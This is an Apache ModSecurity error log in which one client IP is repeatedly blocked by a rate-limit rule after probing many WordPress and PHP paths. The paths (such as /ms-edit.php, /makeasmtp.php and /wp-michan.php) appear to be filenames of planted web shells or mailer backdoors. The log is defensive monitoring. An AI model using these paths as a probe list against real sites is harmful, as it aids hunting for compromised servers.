[Fri Apr 10 16:25:14.384697 2026] [:error] [pid 3934:tid 3960] [client 172.213.241.33:11011] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adiz6oa41m-BS8mg82cJFwAAANU"]
[Fri Apr 10 16:25:14.854049 2026] [:error] [pid 13189:tid 13196] [client 172.213.241.33:10882] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adiz6pAxiJKPums3eBAWQwAAAEQ"]
[Fri Apr 10 16:25:15.320536 2026] [:error] [pid 13100:tid 13111] [client 172.213.241.33:11058] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adiz61zg-ZkZ0InWIP1VDAAAAQY"]
[Fri Apr 10 16:25:15.793951 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11088] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adiz64a41m-BS8mg82cJJAAAAMY"]
[Fri Apr 10 16:25:16.270417 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:10979] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adiz7Ia41m-BS8mg82cJKgAAAMU"]
[Fri Apr 10 16:25:16.734731 2026] [:error] [pid 13101:tid 13152] [client 172.213.241.33:10994] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adiz7N8Ldw85818pj2pjfwAAAJM"]
[Fri Apr 10 16:25:17.202293 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11115] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adiz7Ya41m-BS8mg82cJMwAAAMY"]
[Fri Apr 10 16:25:17.664278 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:10908] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adiz7Ya41m-BS8mg82cJNwAAANc"]
[Fri Apr 10 16:25:18.124862 2026] [:error] [pid 3934:tid 3950] [client 172.213.241.33:10971] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adiz7oa41m-BS8mg82cJOwAAAMs"]
[Fri Apr 10 16:25:18.615367 2026] [:error] [pid 13102:tid 13164] [client 172.213.241.33:11043] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adiz7v9xLvjW2guI55YSqwAAAAQ"]
[Fri Apr 10 16:25:19.080066 2026] [:error] [pid 3934:tid 3961] [client 172.213.241.33:11069] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adiz74a41m-BS8mg82cJQwAAANY"]
[Fri Apr 10 16:25:19.539914 2026] [:error] [pid 3934:tid 3950] [client 172.213.241.33:10985] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adiz74a41m-BS8mg82cJRwAAAMs"]
[Fri Apr 10 16:25:19.997697 2026] [:error] [pid 3934:tid 3958] [client 172.213.241.33:11038] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adiz74a41m-BS8mg82cJSwAAANM"]
[Fri Apr 10 16:25:20.465950 2026] [:error] [pid 13189:tid 13205] [client 172.213.241.33:10993] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adiz8JAxiJKPums3eBAWTwAAAE0"]
[Fri Apr 10 16:25:21.024732 2026] [:error] [pid 13189:tid 13206] [client 172.213.241.33:10885] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adiz8ZAxiJKPums3eBAWUwAAAE4"]
[Fri Apr 10 16:25:21.499862 2026] [:error] [pid 13102:tid 13166] [client 172.213.241.33:11040] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adiz8f9xLvjW2guI55YSrwAAAAY"]
[Fri Apr 10 16:25:21.985540 2026] [:error] [pid 13102:tid 13180] [client 172.213.241.33:10959] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adiz8f9xLvjW2guI55YSswAAABQ"]
[Fri Apr 10 16:25:22.450045 2026] [:error] [pid 13101:tid 13136] [client 172.213.241.33:10986] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adiz8t8Ldw85818pj2pjjQAAAIM"]
[Fri Apr 10 16:25:22.916487 2026] [:error] [pid 13100:tid 13105] [client 172.213.241.33:10974] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adiz8lzg-ZkZ0InWIP1VMAAAAQA"]
[Fri Apr 10 16:25:23.400036 2026] [:error] [pid 13189:tid 13205] [client 172.213.241.33:11052] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adiz85AxiJKPums3eBAWXAAAAE0"]
[Fri Apr 10 16:25:23.862283 2026] [:error] [pid 13100:tid 13128] [client 172.213.241.33:10753] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adiz81zg-ZkZ0InWIP1VNQAAARc"]
[Fri Apr 10 16:25:24.331379 2026] [:error] [pid 13189:tid 13206] [client 172.213.241.33:11166] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adiz9JAxiJKPums3eBAWYQAAAE4"]
[Fri Apr 10 16:25:24.793476 2026] [:error] [pid 13100:tid 13109] [client 172.213.241.33:10900] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adiz9Fzg-ZkZ0InWIP1VOwAAAQQ"]
[Fri Apr 10 16:25:25.263427 2026] [:error] [pid 13101:tid 13148] [client 172.213.241.33:11020] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adiz9d8Ldw85818pj2pjkgAAAI8"]
[Fri Apr 10 16:25:25.725318 2026] [:error] [pid 13101:tid 13155] [client 172.213.241.33:10968] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adiz9d8Ldw85818pj2pjlAAAAJY"]
[Fri Apr 10 16:25:26.191578 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:11024] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adiz9oa41m-BS8mg82cJWAAAANc"]
[Fri Apr 10 16:25:26.653516 2026] [:error] [pid 13101:tid 13150] [client 172.213.241.33:11007] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adiz9t8Ldw85818pj2pjmQAAAJE"]
[Fri Apr 10 16:25:27.120542 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:11005] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adiz94a41m-BS8mg82cJXAAAANg"]
[Fri Apr 10 16:25:27.594194 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:11054] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adiz94a41m-BS8mg82cJYAAAANA"]
[Fri Apr 10 16:25:28.077928 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:11177] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adiz-Ia41m-BS8mg82cJaAAAAMM"]
[Fri Apr 10 16:25:28.557771 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:10973] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adiz-Ia41m-BS8mg82cJfwAAAMY"]
[Fri Apr 10 16:25:29.034637 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11064] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adiz-Ya41m-BS8mg82cJpwAAAMY"]
[Fri Apr 10 16:25:29.497810 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:10975] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adiz-ZAxiJKPums3eBAWcgAAAFQ"]
[Fri Apr 10 16:25:29.965408 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:10940] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adiz-Ya41m-BS8mg82cJ8wAAANc"]
[Fri Apr 10 16:25:30.432124 2026] [:error] [pid 3934:tid 3947] [client 172.213.241.33:11061] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adiz-oa41m-BS8mg82cKDQAAAMg"]
[Fri Apr 10 16:25:30.907699 2026] [:error] [pid 13102:tid 13184] [client 172.213.241.33:10956] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adiz-v9xLvjW2guI55YS6QAAABg"]
[Fri Apr 10 16:25:31.397095 2026] [:error] [pid 13102:tid 13161] [client 172.213.241.33:11112] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adiz-_9xLvjW2guI55YS7AAAAAE"]
[Fri Apr 10 16:25:31.863398 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:10947] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adiz-4a41m-BS8mg82cKJAAAANc"]
[Fri Apr 10 16:25:32.325986 2026] [:error] [pid 3934:tid 3959] [client 172.213.241.33:11055] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adiz_Ia41m-BS8mg82cKJwAAANQ"]
[Fri Apr 10 16:25:32.793161 2026] [:error] [pid 13189:tid 13199] [client 172.213.241.33:10984] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adiz_JAxiJKPums3eBAWeAAAAEc"]
[Fri Apr 10 16:25:33.280965 2026] [:error] [pid 3934:tid 3954] [client 172.213.241.33:11130] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adiz_Ya41m-BS8mg82cKMAAAAM8"]
[Fri Apr 10 16:25:33.748192 2026] [:error] [pid 13101:tid 13136] [client 172.213.241.33:11041] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adiz_d8Ldw85818pj2pjpwAAAIM"]
[Fri Apr 10 16:25:34.211367 2026] [:error] [pid 13189:tid 13194] [client 172.213.241.33:10981] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adiz_pAxiJKPums3eBAWegAAAEI"]
[Fri Apr 10 16:25:34.675508 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:10988] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adiz_oa41m-BS8mg82cKOQAAANA"]
[Fri Apr 10 16:25:35.134316 2026] [:error] [pid 13101:tid 13148] [client 172.213.241.33:10964] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adiz_98Ldw85818pj2pjrAAAAI8"]
[Fri Apr 10 16:25:35.597701 2026] [:error] [pid 13100:tid 13119] [client 172.213.241.33:11044] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adiz_1zg-ZkZ0InWIP1VVAAAAQ4"]
[Fri Apr 10 16:25:36.063662 2026] [:error] [pid 13189:tid 13216] [client 172.213.241.33:10915] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adi0AJAxiJKPums3eBAWfgAAAFg"]
[Fri Apr 10 16:25:36.532156 2026] [:error] [pid 13102:tid 13178] [client 172.213.241.33:10990] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adi0AP9xLvjW2guI55YS9QAAABI"]
[Fri Apr 10 16:25:36.998844 2026] [:error] [pid 13102:tid 13172] [client 172.213.241.33:11014] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adi0AP9xLvjW2guI55YS9wAAAAw"]
[Fri Apr 10 16:25:37.465215 2026] [:error] [pid 13102:tid 13171] [client 172.213.241.33:10991] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adi0Af9xLvjW2guI55YS-gAAAAs"]
[Fri Apr 10 16:25:37.946552 2026] [:error] [pid 13189:tid 13195] [client 172.213.241.33:10901] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adi0AZAxiJKPums3eBAWhQAAAEM"]
[Fri Apr 10 16:25:38.409042 2026] [:error] [pid 13101:tid 13152] [client 172.213.241.33:10906] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adi0At8Ldw85818pj2pjtQAAAJM"]
[Fri Apr 10 16:25:38.870291 2026] [:error] [pid 13101:tid 13137] [client 172.213.241.33:10995] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adi0At8Ldw85818pj2pjuAAAAIQ"]
[Fri Apr 10 16:25:39.334169 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11122] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adi0A4a41m-BS8mg82cKSQAAAMY"]
[Fri Apr 10 16:25:39.802984 2026] [:error] [pid 13189:tid 13200] [client 172.213.241.33:10961] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adi0A5AxiJKPums3eBAWiQAAAEg"]
[Fri Apr 10 16:25:40.265157 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:10907] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adi0BIa41m-BS8mg82cKTwAAAMA"]
